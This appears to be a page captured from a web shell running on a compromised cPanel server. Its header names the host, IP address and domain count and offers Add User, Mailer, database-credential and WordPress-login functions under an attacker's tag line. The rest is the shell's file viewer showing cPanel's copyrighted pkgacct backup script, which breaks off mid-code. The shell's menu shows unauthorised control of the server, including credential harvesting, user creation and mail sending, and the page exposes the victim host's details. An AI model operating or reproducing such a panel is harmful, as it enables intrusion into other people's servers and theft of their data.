System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
scripts
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
pkgacct
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2024 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package Script::Pkgacct; use cPstrict; require 5.006; BEGIN { if ( $ENV{'PERL5LIB'} ) { $ENV{'PERL5LIB'} =~ s{:+}{:}g; $ENV{'PERL5LIB'} =~ s{^:}{}; $ENV{'PERL5LIB'} =~ s{:$}{}; my $count = $ENV{'PERL5LIB'} =~ tr/://; @INC = splice( @INC, $count + 1 ); ## no critic(RequireLocalizedPunctuationVars) delete $ENV{'PERL5LIB'}; } } use bytes; #required for mysqldumpdb use Try::Tiny; use Cpanel::Imports; use Archive::Tar::Builder (); use Cpanel::AcctUtils::Suspended (); use Cpanel::AccessIds::ReducedPrivileges (); use Cpanel::Binaries (); use Cpanel::PwCache::Validate (); use Cpanel::PwCache::Load (); use Cpanel::ChildErrorStringifier (); use Cpanel::Config::Backup (); use Cpanel::Config::Httpd::EA4 (); use Cpanel::Config::LoadCpConf (); use Cpanel::Config::LoadCpUserFile (); use Cpanel::Config::HasCpUserFile (); use Cpanel::Config::userdata::ApacheConf (); use Cpanel::Config::userdata::Constants (); use Cpanel::Config::userdata::Load (); use Cpanel::Config::userdata::Cache (); use Cpanel::ConfigFiles (); use Cpanel::ConfigFiles::Apache (); use Cpanel::DnsUtils::Fetch (); use Cpanel::Exception (); use Cpanel::Filesys::Home (); use Cpanel::NobodyFiles (); use Cpanel::Fcntl::Constants (); use Cpanel::FileUtils::TouchFile (); use Cpanel::FileUtils::Open (); use Cpanel::FileUtils::Write (); use Cpanel::Hooks (); use Cpanel::IP::Expand (); use Cpanel::IP::Local (); use Cpanel::ProgLang (); use Cpanel::Limits (); use Cpanel::LoadFile (); use Cpanel::Locale (); #issafe #nomunge use Cpanel::Locale::Utils::3rdparty (); #issafe #nomunge use Cpanel::Locale::Utils::Display (); #issafe #nomunge use Cpanel::Logger (); use Cpanel::MD5 (); use Cpanel::Mysql (); use Cpanel::FileUtils::Match (); use Cpanel::Pkgacct (); use Cpanel::PwCache (); use Cpanel::PwCache::Helpers (); use Cpanel::PwDiskCache (); use Cpanel::Quota (); use Cpanel::Reseller (); use Cpanel::Rlimit (); use Cpanel::SSLPath (); use Cpanel::SafeRun::Errors (); use Cpanel::SafeSync (); use Cpanel::Services::Enabled (); use Cpanel::Sys::Hostname (); use Cpanel::Pkgacct::Util (); use Cpanel::Pkgacct::Components::Mysql (); # PPI USE OK - for Cpanel/Pkgacct.pm use Cpanel::Pkgacct::Components::Quota (); # PPI USE OK - for Cpanel/Pkgacct.pm use Cpanel::Tar (); use Cpanel::Time::Local (); use Cpanel::Timezones (); use Cpanel::IO::Tarball (); use Cpanel::Gzip::Config (); use Cpanel::UserFiles (); use Cpanel::WebServer (); use Cpanel::WebServer::Supported::apache::Htaccess (); use Cpanel::Lchown (); use Cpanel::YAML (); use Cpanel::ZoneFile (); use Cwd (); use Getopt::Long (); use IO::Handle (); use Cpanel::BinCheck::Lite (); use File::Path (); use Cpanel::Team::Constants (); use constant _ENOENT => 2; BEGIN { # Improve startup time if ( $INC{'B/C.pm'} || $INC{'Devel/NYTProf.pm'} ) { Cpanel::Pkgacct->load_all_components(); # For EA require Cpanel::ProgLang::Supported::php; # PPI USE OK - for compiler require Cpanel::WebServer::Supported::apache; # PPI USE OK - for compiler # For DBs require Cpanel::DBI::Postgresql; # PPI USE OK - for compiler require Cpanel::DBI::Mysql; # PPI USE OK - for compiler } } use constant WRONLY_CREAT_NOFOLLOW_TRUNC => $Cpanel::Fcntl::Constants::O_WRONLY | $Cpanel::Fcntl::Constants::O_CREAT | $Cpanel::Fcntl::Constants::O_NOFOLLOW | $Cpanel::Fcntl::Constants::O_TRUNC; # This check needs to be duplicated at Perl runtime since this program is # now used in a B::C compiled form if ( defined $ARGV[0] && $ARGV[0] eq '--allow-override' ) { shift(@ARGV); if ( -e '/var/cpanel/lib/Whostmgr/Pkgacct/pkgacct' && -x _ ) { exec( '/var/cpanel/lib/Whostmgr/Pkgacct/pkgacct', @ARGV ); } } # This prevents strftime() from endlessly stat()ing /etc/localtime $ENV{'TZ'} = Cpanel::Timezones::calculate_TZ_env(); eval { local $SIG{__DIE__}; require Digest::MD5; } if !exists $INC{'Digest/MD5.pm'}; Cpanel::BinCheck::Lite::check_argv(); my $is_incremental; our $VERSION = '5.0'; ## Constant (for split files) moved to package scope variable; redefined in test script our $splitfile_partsize = 256_000_000; my $GENERIC_DOMAIN = 'unknown.tld'; my $apacheconf = Cpanel::ConfigFiles::Apache->new(); my ( $output_obj, $log_fh ); # if ( !caller() ) { my ( $return_status, $err ); try { $return_status = __PACKAGE__->script(@ARGV); } catch { $err = $_; if ($output_obj) { $output_obj->error( Cpanel::Exception::get_string($err), @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } else { print STDERR Cpanel::Exception::get_string($err); } }; my $exit_status = $return_status && !$err ? 0 : 1; exit $exit_status; } sub script { ## no critic(Subroutines::ProhibitExcessComplexity) -- refactoring this is a project of it's own my ( $class, @argv ) = @_; my ( $user, $tarroot, $OPTS, $new_mysql_version ) = process_args(@argv); $tarroot = Cwd::abs_path($tarroot) if ( $tarroot && -d $tarroot ); #convert to an absolute path, but only if tarroot points to an actual directory. #if $tarroot does not point an an actual directory on the filesystem, #or is empty, let the script handle resolving the path on its own. $output_obj = _generate_output_obj( $OPTS->{'serialized_output'} ? 1 : 0 ); my %SECURE_PWCACHE; tie %SECURE_PWCACHE, 'Cpanel::PwDiskCache', 'load_callback' => \&Cpanel::PwCache::Load::load, 'validate_callback' => \&Cpanel::PwCache::Validate::validate; Cpanel::PwCache::Helpers::init( \%SECURE_PWCACHE ); my $tarcfg = Cpanel::Tar::load_tarcfg(); my ( $status, $message ) = Cpanel::Tar::checkperm(); if ( !$status ) { $output_obj->error($message); return 0; } my $gzipcfg = Cpanel::Gzip::Config->load(); if ( !-x $gzipcfg->{'bin'} ) { die "Binary ($gzipcfg->{'bin'}) is not available"; } # local variables my $vars = {}; #recusive, copy symlinks as symlinks, preserve permissions, #preserve times, preserve devices $| = 1; delete $ENV{'LD_LIBRARY_PATH'}; if ( $OPTS->{'version'} ) { $output_obj->out("$VERSION\n"); return 0; } $output_obj->warn("Passing an argument to --version is deprecated") if $OPTS->{'archive_version'}; $OPTS->{'archive_version'} //= 4; if ( defined $tarroot ) { $tarroot =~ tr{/}{}s; # Allow / as a valid option. $tarroot =~ s{(.)/$}{$1}; } $vars->{tarroot} = $tarroot; $is_incremental = ( $OPTS->{'incremental'} || $ENV{'INCBACKUP'} ) ? 1 : 0; my $create_tarball = $is_incremental ? 0 : 1; my $now = time(); my @pwent = Cpanel::PwCache::getpwnam_noshadow($user); if ( $user eq "root" ) { die "You cannot copy the root user.\n"; } my ( $uid, $gid, $syshomedir, $shell, $passwd_mtime, $shadow_mtime ) = @pwent[ 2, 3, 7, 8, 11, 12 ]; if ( !$uid ) { _usage("Unable to get user id for user “$user”"); } die "Unable to load cPanel user data.\n" unless Cpanel::Config::HasCpUserFile::has_cpuser_file($user); my $cpuser_ref = Cpanel::Config::LoadCpUserFile::loadcpuserfile($user); if ( !scalar keys %{$cpuser_ref} ) { die "Unable to load cPanel user data.\n"; } my $cpconf = Cpanel::Config::LoadCpConf::loadcpconf_not_copy(); my $backupconf = Cpanel::Config::Backup::load(); my $usedomainlookup = 0; if ( $> == 0 ) { $ENV{'USER'} = 'root'; $ENV{'HOME'} = '/root'; } else { require Cpanel::DomainLookup; $usedomainlookup = 1; } if ( $vars->{tarroot} && substr( $vars->{tarroot}, 0, 1 ) eq "~" ) { my $tuser = substr( $vars->{tarroot}, 1 ); $vars->{tarroot} = ( Cpanel::PwCache::getpwnam($tuser) )[7]; } my $isuserbackup = 0; my $isbackup = 0; my $prefix = ''; if ( $OPTS->{'backup'} ) { $isbackup = 1; $prefix = ''; } elsif ( $OPTS->{'userbackup'} ) { $isuserbackup = 1; $isbackup = 1; my ( $sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst ) = localtime(time); $mon++; $year += 1900; $sec = sprintf( "%02d", $sec ); $min = sprintf( "%02d", $min ); $hour = sprintf( "%02d", $hour ); $prefix = "backup-${mon}.${mday}.${year}_${hour}-${min}-${sec}_"; } else { $prefix = 'cpmove-'; } my $localzonesonly = ( defined $backupconf->{'LOCALZONESONLY'} && $backupconf->{'LOCALZONESONLY'} eq 'yes' ) ? 1 : 0; my $archiveext = 'tar.gz'; my $compress = 1; unless ( $OPTS->{'compress'} ) { $compress = 0; $archiveext = 'tar'; } $output_obj->out( "pkgacct started.\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); chdir('/') or die Cpanel::Exception::create( 'IO::ChdirError', [ path => '/', error => $! ] ); my $backup_settings; # provide common settings to run copy_from_backup_for_user my $work_dir; my %archive_tar_args = ( 'gnu_extensions' => 1, 'ignore_sockets' => 1, 'preserve_hardlinks' => 1 ); if ( $Archive::Tar::Builder::VERSION < 2 ) { if ( my $block_factor = int( $gzipcfg->{'gzip_pigz_block_size'} * 1024 / 512 ) ) { $archive_tar_args{'block_factor'} = $block_factor; } } my $cpmove = Archive::Tar::Builder->new(%archive_tar_args); my $split = ( $OPTS->{'split'} ? 1 : 0 ); my $pkg_version = 10.0; my $header_message = "pkgacct version $pkg_version - user : $user - tarball: $create_tarball - target mysql : " . ( $new_mysql_version || 'default' ) . " - split: $split - incremental: $is_incremental - homedir: " . ( $OPTS->{'skiphomedir'} ? 0 : 1 ) . " - mailman: " . ( $OPTS->{'skipmailman'} ? 0 : 1 ) . " - backup: " . ( $OPTS->{'backup'} ? 1 : 0 ) . " - archive version: $OPTS->{'archive_version'} - running with uid $<\n"; $output_obj->out( $header_message, @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $output_obj->out( "pkgacct using '" . join( ' ', $gzipcfg->command ) . "' to compress archives\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $prefix =~ s/\s//g; $prefix =~ s/\n//g; if ( !length( $vars->{tarroot} ) || !-d "$vars->{tarroot}" ) { if ( $OPTS->{'backup'} ) { die "Bailing out.. you must set a valid destination for backups\n"; } $vars->{tarroot} = Cpanel::Filesys::Home::get_homematch_with_most_free_space(); } __PACKAGE__->_ensure_date_is_set($isbackup); local $0 = "pkgacct - ${user} - av: $OPTS->{'archive_version'}"; if ( $> != 0 ) { if ( $ENV{'REMOTE_PASSWORD'} ) { $ENV{'REMOTE_USER'} = $user; } else { if ( $OPTS->{'skipmysql'} ) { $output_obj->out( "*** The REMOTE_PASSWORD variable is missing from the enviroment and we are not running with root access. ***\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } else { $output_obj->out( "*** The REMOTE_PASSWORD variable is missing from the enviroment and we are not running with root access. MySQL backups will fail. ***\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } } my $homedir = $syshomedir; my $abshomedir = $homedir; #reversed if ( -l $homedir ) { $homedir = readlink($homedir); } my $dns = $cpuser_ref->{'DOMAIN'}; my $suspended = ( $cpuser_ref->{'SUSPENDED'} ? 1 : 0 ); my @DNS = ($dns); push @DNS, @{ $cpuser_ref->{'DOMAINS'} } if ref $cpuser_ref->{'DOMAINS'} && @{ $cpuser_ref->{'DOMAINS'} }; my $dns_list = join( '|', map { quotemeta($_) } @DNS ); if ( !$dns ) { die "Unable to find domain name for $user\n"; } my $ip = $cpuser_ref->{'IP'}; if ( !$ip ) { if ($usedomainlookup) { require Cpanel::UserDomainIp; $ip = Cpanel::UserDomainIp::getdomainip($dns); } else { require Cpanel::DomainIp; $ip = Cpanel::DomainIp::getdomainip($dns); } } if ( !$prefix && ( $vars->{tarroot} eq '/' || $vars->{tarroot} eq '/home' || $vars->{tarroot} eq Cpanel::Filesys::Home::get_homematch_with_most_free_space() ) ) { die "Bailing out .. no prefix set and tarroot is / or /home\n"; } if ( $OPTS->{'use_backups_for_speed'} ) { $work_dir = $vars->{work_dir}; $is_incremental = $vars->{is_incremental} || 0; } if ( !$work_dir ) { $work_dir = ( $is_incremental && ( $user eq 'files' || $user eq 'dirs' ) ) ? $vars->{tarroot} . "/${prefix}user_${user}" : $vars->{tarroot} . "/${prefix}${user}"; } if ( $work_dir =~ m{^(\Q$homedir\E|\Q$abshomedir\E)\b} ) { # Exclude the tarball only. Excluding workdir interferes with the ability to include those items at their proper locations in the tarball. $cpmove->exclude( $work_dir . '.' . $archiveext ); } my $pkgacct = Cpanel::Pkgacct->new( 'is_incremental' => $is_incremental, 'is_userbackup' => $isuserbackup, 'is_backup' => $isbackup, 'user' => $user, 'new_mysql_version' => $new_mysql_version || 'default', 'uid' => $uid, 'suspended' => $suspended, 'work_dir' => $work_dir, 'dns_list' => $dns_list, 'domains' => \@DNS, 'now' => $now, 'cpconf' => $cpconf, 'OPTS' => $OPTS, 'output_obj' => $output_obj, ); if ( $OPTS->{'use_backups_for_speed'} ) { $output_obj->out( "pkgacct -- attempting to use daily backup to create an account package\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); # check improved backup system first require Cpanel::Backup::Config; my $backup_conf = Cpanel::Backup::Config::get_normalized_config(); if ( $backup_conf->{'backupenable'} && $backup_conf->{'backuptype'} eq 'incremental' && $backup_conf->{'backup_daily_enable'} # try the legacy system if no backups are available for that account with the improved system && -d $backup_conf->{'backupdir'} . '/incremental/accounts/' . $user ) { $backup_settings = { backupmount => !$ENV{'INCBACKUP'} && $backup_conf->{'backupmount'}, backupdir => $backup_conf->{'backupdir'}, basedir => $backup_conf->{'backupdir'} . '/incremental', incrementaldir => "accounts", }; } else { # Check legacy backup system require Cpanel::Config::Backup; my $legacy_backup_conf = Cpanel::Config::Backup::load(); if ( $legacy_backup_conf->{'BACKUPENABLE'} eq 'yes' && $legacy_backup_conf->{'BACKUPINC'} eq 'yes' && $legacy_backup_conf->{'BACKUPINT'} eq 'daily' ) { $output_obj->out( "pkgacct -- use legacy backup system\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); $backup_settings = { backupmount => !$ENV{'CPBACKUP'} && $legacy_backup_conf->{'BACKUPMOUNT'}, backupdir => $legacy_backup_conf->{'BACKUPDIR'}, basedir => $legacy_backup_conf->{'BACKUPDIR'} . '/cpbackup', incrementaldir => "daily", }; } } # variable required in copy_from_backup_for_user ( this avoid to replace all occurences of $prefix with $vars->{prefix} ) $vars->{prefix} = $prefix; # ro access $vars->{skiphomedir} = $OPTS->{'skiphomedir'}; # ro access $vars->{skipmailman} = $OPTS->{'skipmailman'}; # ro access $vars->{create_tarball} = $create_tarball; # temporary rw access $vars->{is_incremental} = $is_incremental; # temporary rw access if ( !copy_from_backup_for_user( $user, $backup_settings, $vars, $output_obj, $pkgacct ) ) { my $msg = "could not use daily backup because no daily incremental backup for user $user can be found ( check if daily incremental backups are enabled )"; if ( defined $backup_settings && exists $backup_settings->{basedir} ) { $msg = "could not use daily backup because it is missing ($backup_settings->{basedir}/daily/$user) ( check if backup is enabled for that account )"; } $output_obj->out( "pkgacct -- $msg\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); Cpanel::BackupMount::unmount_backup_disk( $backup_settings->{backupdir}, 'pkgacct_' . $user ) if $vars->{need_to_mount_backup}; } # update/restore value $create_tarball = $vars->{create_tarball}; # restore } if ($prefix) { if ( -d $work_dir && !-l $work_dir ) { File::Path::rmtree($work_dir) if !$is_incremental; } if ( -d "${work_dir}-split" && !-l "${work_dir}-split" ) { File::Path::rmtree("${work_dir}-split") if $create_tarball; } if ( -f "${work_dir}.${archiveext}" && !-l "${work_dir}.${archiveext}" ) { File::Path::rmtree("${work_dir}.${archiveext}") if $create_tarball; } } $output_obj->out( "pkgacct working dir : $work_dir", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); my ( $pre_hook_result, $hook_msgs ) = Cpanel::Hooks::hook( { 'category' => 'PkgAcct', 'event' => 'Create', 'stage' => 'pre', 'blocking' => 1, }, { 'workdir' => $work_dir, 'homedir' => $homedir, 'user' => $user, } ); my $hooks_msg = int @{$hook_msgs} ? join "\n", @{$hook_msgs} : ''; if ( !$pre_hook_result ) { rmdir $work_dir or $output_obj->warn( "Could not remove directory $work_dir: $!\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); die "Hook denied execution of pkgacct: $hooks_msg\n"; } $output_obj->out($hooks_msg) if length $hooks_msg; # The Backups::listfullbackups cpapi2 call relies on these files in order to determine if a # backup is in progress. See CPANEL-39172 for more details on the kind of issue that removing # this if block can cause if ($isuserbackup) { my $now = time(); my $reduced_privs = $> == 0 ? Cpanel::AccessIds::ReducedPrivileges->new($user) : undef; my $filename = "$homedir/$prefix$user"; open( my $tmpf, ">", $filename ) or die "Could not open $filename for writing: $!\n"; print {$tmpf} "s ${now}\n" or die "Could not write to $filename: $!\n"; close $tmpf or die "Could not close writing to $filename: $!\n"; my $filename2 = "$homedir/$prefix$user.$archiveext"; open( $tmpf, ">", $filename2 ) or die "Could not open $filename2 for writing: $!\n"; print {$tmpf} "s ${now}\n" or die "Could not write to $filename2: $!\n"; close $tmpf or die "Could not close writing to $filename2 $!\n"; } if ( $create_tarball && !$split ) { require Cpanel::Umask; my $umask_obj = Cpanel::Umask->new(077); open( my $cpm, '>', "$work_dir.$archiveext" ) or die "Could not open $work_dir.$archiveext for writing: $!\n"; close($cpm); chmod( 0600, "$work_dir.$archiveext" ) or die "Could not chmod $work_dir.$archiveext: $!\n"; } elsif ($is_incremental) { #add new dirs as needed $pkgacct->build_pkgtree($work_dir); } if ( !-e $work_dir ) { $pkgacct->build_pkgtree($work_dir); } elsif ( !$is_incremental ) { my $part = 0; while ( $part != 1024 ) { if ( !-d "$work_dir.$part" ) { rename( $work_dir, "$work_dir.$part" ) or die "Could not rename $work_dir to $work_dir.$part: $!"; $pkgacct->build_pkgtree($work_dir); last; } $part++; } } if ( !-e $work_dir || !-w _ ) { die "...failed to create the working dir: $work_dir. You can specify an alternate directory like /tmp by running [$0 $user /tmp]\n"; } # Write version of pkgacct - we cannot cache this -- we have to write it every time # as we have no way of knowing if the file is up to date # we cannot implement an mtime check if ( open( my $ver_h, '>', "$work_dir/version" ) ) { print {$ver_h} "pkgacct version: $pkg_version\n"; print {$ver_h} "archive version: $OPTS->{'archive_version'}\n"; close($ver_h); } my $homedir_mtime = ( lstat($homedir) )[9]; # "$work_dir/homedir_paths" is to be deprecated in favor of "$work_dir/meta/homedir_paths" # NOTE: This does NOT include the contents of cpuser HOMEDIRLINKS/HOMEDIRPATHS. foreach my $file ( "$work_dir/homedir_paths", "$work_dir/meta/homedir_paths" ) { if ($is_incremental) { my $file_change_time = ( lstat($file) )[9]; next if ( $file_change_time && #file exists $homedir_mtime < $now && #timewarp safety $file_change_time > $homedir_mtime && #check to make sure the symlink or dir did not get changed on us $passwd_mtime < $now && #timewarp safety $file_change_time > $passwd_mtime #check to make sure their homedir did not change in the passwd file ); } if ( sysopen( my $home_fh, $file, WRONLY_CREAT_NOFOLLOW_TRUNC, 0600 ) ) { print {$home_fh} $homedir . "\n"; if ( $abshomedir ne $homedir ) { print {$home_fh} $abshomedir . "\n"; } close($home_fh); } } my $needs_mailserver = 1; if ($is_incremental) { my $mailserver_mtime = ( lstat("$work_dir/meta/mailserver") )[9]; my $cpanel_config_mtime = ( lstat("/var/cpanel/cpanel.config") )[9]; $needs_mailserver = 0 if ( $mailserver_mtime && #file exists $cpanel_config_mtime < $now && #timewarp safety $mailserver_mtime < $now && #timewarp safety $mailserver_mtime > $cpanel_config_mtime #check to make sure the file is newer than the cpanel config ); } if ( $needs_mailserver && open( my $mailserver_fh, '>', "$work_dir/meta/mailserver" ) ) { print {$mailserver_fh} $cpconf->{'mailserver'} . "\n"; close($mailserver_fh); } my $ssldir = Cpanel::SSLPath::getsslroot(); if ( !$OPTS->{'skipresellerconfig'} ) { $output_obj->out( "Copying Reseller Config...", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); if ( $> == 0 ) { Cpanel::Limits::backup_reseller_config( $user, "$work_dir/resellerconfig" ); Cpanel::Limits::backup_reseller_limits( $user, "$work_dir/resellerconfig" ); if ( Cpanel::Reseller::isreseller($user) ) { $output_obj->out( "\nCopying Reseller Packages and Features ...\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); Cpanel::Limits::backup_reseller_belongings( $user, 'packages', "$work_dir/resellerpackages" ); Cpanel::Limits::backup_reseller_belongings( $user, 'features', "$work_dir/resellerfeatures" ); } } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $output_obj->out( "Copying Suspension Info (if needed)...", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->syncfile_or_warn( "/var/cpanel/suspended/$user", "$work_dir/suspended/$user" ); $pkgacct->syncfile_or_warn( "/var/cpanel/suspended/$user.lock", "$work_dir/suspended/$user.lock" ); $pkgacct->syncfile_or_warn( "/var/cpanel/suspendinfo/$user", "$work_dir/suspendinfo/$user" ); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); # Adding team file if it exists. $output_obj->out( "Copying Team Info (if needed)...", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->syncfile_or_warn( "$Cpanel::Team::Constants::TEAM_CONFIG_DIR/$user", "$work_dir/team/$user" ); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); if ( !$OPTS->{'skipssl'} ) { #The user’s SSLStorage is backed up automatically via tar, so we #don’t have to do anything else other than to create this touchfile. #We used to export from the user’s SSLStorage to pre-SSLStorage, #but we don’t do that anymore. Cpanel::FileUtils::TouchFile::touchfile("$work_dir/has_sslstorage"); $output_obj->out( "Copying installed SSL certificates and keys...", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->perform_component('ApacheTLS'); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $output_obj->out( "Copying DKIM keys....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); my $domainkeys_dir = $Cpanel::ConfigFiles::DOMAIN_KEYS_ROOT; foreach my $domain ( $dns, @{ $cpuser_ref->{'DOMAINS'} } ) { if ( -e "$domainkeys_dir/public/$domain" ) { $pkgacct->syncfile_or_warn( "$domainkeys_dir/public/$domain", "$work_dir/domainkeys/public/$domain" ); } if ( -e "$domainkeys_dir/private/$domain" ) { $pkgacct->syncfile_or_warn( "$domainkeys_dir/private/$domain", "$work_dir/domainkeys/private/$domain" ); } } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); if ( !$OPTS->{'skipbwdata'} ) { $output_obj->out( "Copying Bandwidth Data....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->perform_component('Bandwidth'); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skipdnszones'} ) { $output_obj->out( "Copying Dns Zones....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); if ( $> == 0 ) { my %local_ips = map { Cpanel::IP::Expand::expand_ip( $_, 6 ) => 1 } Cpanel::IP::Local::get_local_systems_public_ips(); my %related_ips; my %expand_ip_cache; my $zone_map_ref = Cpanel::DnsUtils::Fetch::fetch_zones( 'zones' => \@DNS, 'flags' => $localzonesonly ); foreach my $name ( keys %$zone_map_ref ) { next if !$zone_map_ref->{$name}; my $zone_obj; $output_obj->out( "...$name...", @Cpanel::Pkgacct::PARTIAL_MESSAGE ); if ( eval { $zone_obj = Cpanel::ZoneFile->new( domain => $name, text => $zone_map_ref->{$name} ); 1; } ) { foreach my $record ( @{ $zone_obj->{'dnszone'} } ) { if ( $record->{'address'} ) { my $expanded_ip = $expand_ip_cache{ $record->{'address'} } ||= Cpanel::IP::Expand::expand_ip( $record->{'address'}, 6 ); if ( $local_ips{$expanded_ip} ) { $related_ips{$expanded_ip} = 1; } } } } else { Cpanel::Logger::warn("Unable to parse dns zone: $@"); $output_obj->warn( "Unable to parse dns zone: $@", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !eval { Cpanel::FileUtils::Write::overwrite( "$work_dir/dnszones/$name.db", $zone_map_ref->{$name}, 0600 ) } ) { my $err = $@; Cpanel::Logger::warn("Unable to write dnszones/$name.db: $err"); $output_obj->warn( "Unable to write dnszones/$name.db: $err", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } # This file is used to make better decisions about which # IPs should be treated as local IPs and which ones should be treated # as remote IPs for the purposes of restoring the account. # # We define related ips as ip addresses that exist in one of the # accounts dns zones and is local to the server the account # resided on at the time of packaging. # if ( !eval { Cpanel::FileUtils::Write::overwrite( "$work_dir/ips/related_ips", join( "\n", sort keys %related_ips ), 0600 ) } ) { my $err = $@; Cpanel::Logger::warn("Unable to write related_ips: $err"); $output_obj->warn( "Unable to write related_ips: $err", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skipmailconfig'} ) { $output_obj->out( "Copying Mail files....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->perform_component('MailConfig'); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skipftpusers'} ) { $output_obj->out( "Copying proftpd file....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); if ( $> == 0 ) { if ( $suspended && -e "$Cpanel::ConfigFiles::FTP_PASSWD_DIR/${user}.suspended" ) { $pkgacct->syncfile_or_warn( "$Cpanel::ConfigFiles::FTP_PASSWD_DIR/${user}.suspended", "$work_dir/proftpdpasswd" ); } else { $pkgacct->syncfile_or_warn( "$Cpanel::ConfigFiles::FTP_PASSWD_DIR/${user}", "$work_dir/proftpdpasswd" ); } } else { $pkgacct->simple_exec_into_file( "$work_dir/proftpdpasswd", [ '/usr/local/cpanel/bin/ftpwrap', 'DUMP', '0', '0' ] ); } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $pkgacct->perform_component('Logs') if !$OPTS->{'skiplogs'}; { my ( $userconfig, $userconfig_work ) = ( Cpanel::UserFiles::userconfig_path($user), "$work_dir/userconfig" ); mkdir($userconfig_work) unless -d $userconfig_work; if ( opendir( my $dh, $userconfig ) ) { $output_obj->out( 'Copy userconfig...', @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); my @files = map { "$userconfig/$_" } grep { $_ ne '.' && $_ ne '..' } readdir($dh); close($dh); foreach my $file (@files) { $pkgacct->syncfile_or_warn( $file, $userconfig_work ); } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } if ( !$OPTS->{'skipuserdata'} ) { $output_obj->out( 'Copy userdata...', @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); backup_userdata_for_user( $user, $work_dir, $output_obj, $pkgacct ); $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skipvhosttemplates'} ) { $output_obj->out( 'Copy custom virtualhost templates...', @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); my @sync_list; my @mkdir_list; my $main_userdata = Cpanel::Config::userdata::Load::load_userdata( $user, 'main' ); my $base = $apacheconf->dir_conf_userdata(); foreach my $domain ( $main_userdata->{main_domain}, @{ $main_userdata->{sub_domains} }, keys %{ $main_userdata->{addon_domains} } ) { next if !$domain; foreach my $path ( "$base/ssl/2/$user/$domain/", "$base/std/2/$user/$domain/" ) { if ( -e $path ) { if ( $path =~ m{(s(?:(?:td)|(?:sl)))/([12])} ) { my $proto = $1; my $ver = $2; push @mkdir_list, "$work_dir/httpfiles/$proto/", "$work_dir/httpfiles/$proto/$ver/", "$work_dir/httpfiles/$proto/$ver/$domain/"; if ( opendir( my $dir_fh, $path ) ) { push @sync_list, map { [ $path . '/' . $_, "$work_dir/httpfiles/$proto/$ver/$domain/$_" ] } grep { !/^\./ } readdir($dir_fh); closedir($dir_fh); } } } } } if (@sync_list) { #only fork if we have to $pkgacct->run_dot_event( sub { $0 = "pkgacct - ${user} - custom virtualhost templates copy child"; foreach my $dir (@mkdir_list) { mkdir( $dir, 0700 ); } foreach my $sync_ref (@sync_list) { $pkgacct->syncfile_or_warn( $sync_ref->[0], $sync_ref->[1] ); } }, ); } $output_obj->out( "Done\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( !$OPTS->{'skipmailman'} ) { $output_obj->out( "Copying mailman lists and archives....", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); my %LISTTARGETS; if ( $> == 0 ) { my %trailers = map { $_ => 1 } @DNS; my %mbox_trailers = map { $_ => 1, "$_.mbox" => 1 } @DNS; if ( -r "$Cpanel::ConfigFiles::MAILMAN_ROOT/lists" ) { $LISTTARGETS{'mm'} = 